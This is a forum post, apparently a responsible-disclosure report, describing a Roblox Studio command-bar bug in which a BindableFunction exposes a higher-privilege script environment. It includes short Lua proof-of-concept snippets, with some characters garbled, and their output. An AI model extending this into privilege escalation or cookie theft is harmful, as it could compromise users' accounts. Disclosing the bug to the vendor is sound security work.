I found this a little bit ago, and it’s studio only and requires Level 5, so you would have to do this manually in the command bar. I haven’t gotten it working inside plugins yet, so I think we’re safe from it being used with harm (like, downloading a plugin from the site that steals cookies). I emailed it to Sorcus (he’s at sorcus@roblox.com, right?) and haven’t gotten any response in weeks, and the exploit is still working.
This is a very weird exploit and I don’t know exactly why this happens.
Open Roblox Studio, and go into a Test > Play Solo instance (This also works in Test > Start Server and Test > Start Player, too) and paste this into the command bar:
a = Instance.new(“BindableFunction”)
a.OnInvoke = function()
for ,i in pairs(getfenv()) do
print(…" - "…tostring(i))
end
end
a:Invoke()
And what do you get?
The environment of http://www.roblox.com/Game/visit.ashx, a level 7 thread of course! (it’ll be gameserver.ashx in Test > Start Server and join.ashx in Test > Start Player)
It finds its current environment (in visit.ashx) to be:
a - Function
ifSeleniumThenSetCookie - function: 0xa85ae60
success - true
registerPlay - function: 0xa8543c0
visit - Visit
doVisit - function: 0xa839190
pcall - function: 0x6e75590
player - Player1
You can also try calling doVisit inside visit.ashx
a = Instance.new(“BindableFunction”)
a.OnInvoke = function()
doVisit()
end
a:Invoke()
Doing so results in something like this:
19:54:55.806 - Local player already exists
19:54:55.806 - Script ‘[string “”]’, Line 107 - global doVisit
19:54:55.806 - Script ‘a = Instance.new(“BindableFunction”); a.OnInvoke = function’, Line 6
19:54:55.807 - stack end
19:54:55.807 - Local player already exists
19:54:55.807 - Script ‘a = Instance.new(“BindableFunction”); a.OnInvoke = function’, Line 7
19:54:55.808 - stack end
The most notable thing is 19:54:55.806 - Script ‘[string “”]’, Line 107 - global doVisit, as Line 107 in http://www.roblox.com/Game/visit.ashx is player = game:GetService(“Players”):CreateLocalPlayer(0), which makes perfect sense that its erroring with Local player already exists. The method is not locked to Level 5, though, but you are still accessing the environment of a level 7 thread. I haven’t figured out a good way to be able to run my own code in Level 7 context, though, but I’m sure there’s a way.
I doubt it’s practical in any way because of all its requirements, though, and the fact that I haven’t gotten a way to run functions in Level 7 yet (but I highly think there’s a way), and that it doesn’t work in edit mode. I’m posting it here because this it needs attention to the Roblox studio team before anything malicious can be done with it.
I originally posted this here in the scripters forum.